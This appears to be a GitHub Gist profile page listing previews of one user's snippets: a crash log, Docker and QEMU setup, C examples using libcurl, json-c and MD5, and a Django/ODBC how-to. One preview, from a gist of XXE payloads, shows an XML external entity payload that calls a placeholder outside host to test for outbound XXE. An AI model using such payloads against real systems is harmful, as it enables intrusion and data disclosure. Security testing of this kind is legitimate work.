Skip to content

Instantly share code, notes, and snippets.

View raminfp's full-sized avatar
✔️
Verified

Ramin Farajpour Cami raminfp

✔️
Verified
View GitHub Profile
write-host "Hello"
{"app_name":"Telegram","timestamp":"2021-04-08 15:36:02.00 +0430","app_version":"7.6.2","slice_uuid":"ea40642d-cc97-37e0-afaa-e01a799b2b4e","adam_id":686449807,"build_version":"20561","platform":2,"bundleID":"ph.telegra.Telegraph","share_with_app_devs":0,"is_first_party":0,"bug_type":"109","os_version":"iPhone OS 14.4.2 (18D70)","incident_id":"98666FEF-B245-431C-829E-F1D355AD2512","name":"Telegram"}
Incident Identifier: 98666FEF-B245-431C-829E-F1D355AD2512
CrashReporter Key: a879733b0cea7a8cbcfe439a3a90fc12dc9b5614
Hardware Model: iPad6,11
Process: Telegram [3298]
Path: /private/var/containers/Bundle/Application/BB9A2543-2C53-480E-A909-C2F6A404B5BA/Telegram.app/Telegram
Identifier: ph.telegra.Telegraph
Version: 20561 (7.6.2)
AppStoreTools: 12D4d
AppVariant: 1:iPad6,11:13
@raminfp
raminfp / docker-ce-ubuntu-17.10.md
Created December 13, 2017 14:15
Install Docker CE on Ubuntu 17.10 and Docker-compose

Installing Docker CE on Ubuntu 17.10 Artful Aardvark

As of 20/10/2017, a release file for Ubuntu 17.10 Artful Aardvark is not available on Download Docker.

sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo apt-key fingerprint 0EBFCD88
#!/usr/bin/bash
qemu-system-x86_64 \
-hda wheezy.img \
-m 2G \
-smp 2 \
-net user,hostfwd=tcp::10021-:22 -net nic \
-nographic \
@raminfp
raminfp / XXE_payloads
Created August 11, 2017 03:19 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@raminfp
raminfp / curltest.c
Last active June 26, 2021 19:35 — forked from aaronhurt/curltest.c
example code using libcurl and json-c to post and parse a return from http://jsonplaceholder.typicode.com
/**
* example C code using libcurl and json-c
* to post and return a payload using
* http://jsonplaceholder.typicode.com
*
* Requirements:
*
* json-c - https://github.com/json-c/json-c
* libcurl - http://curl.haxx.se/libcurl/c
*
@raminfp
raminfp / json_parser.c
Created August 1, 2017 05:35 — forked from alan-mushi/json_parser.c
Examples for the json-c tutorial.
/*
* A simple example of json string parsing with json-c.
*
* clang -Wall -g -I/usr/include/json-c/ -o json_parser json_parser.c -ljson-c
*/
#include <json.h>
#include <stdio.h>
int main() {
struct json_object *jobj;
@raminfp
raminfp / md5.c
Created July 31, 2017 07:17 — forked from creationix/md5.c
/*
* Simple MD5 implementation
*
* Compile with: gcc -o md5 -O3 -lm md5.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
@raminfp
raminfp / HOWTO.md
Created July 29, 2017 06:35 — forked from aaugustin/HOWTO.md
Connecting a Django application to a Microsoft SQL Server database from Debian GNU/Linux
  1. Install and register the FreeTDS driver for unixODBC.

     apt-get install tdsodbc
     odbcinst -i -d -f /usr/share/tdsodbc/odbcinst.ini
    
  2. (Optional) Test the DSN-less connection with pyodbc.

     apt-get install python-pyodbc
    

>>> import pyodbc

@raminfp
raminfp / strtok_example.c
Created June 15, 2017 07:16 — forked from efeciftci/strtok_example.c
An example that shows usage of strtok function in C programming language.
/*
* The following description is from Linux Programmer's Manual (strtok(3)):
*
* #include <string.h>
* char *strtok(char *str, const char *delim);
*
* The strtok() function breaks a string into a sequence of zero or more
* nonempty tokens. On the first call to strtok() the string to be parsed
* should be specified in str. In each subsequent call that should parse
* the same string, str must be NULL.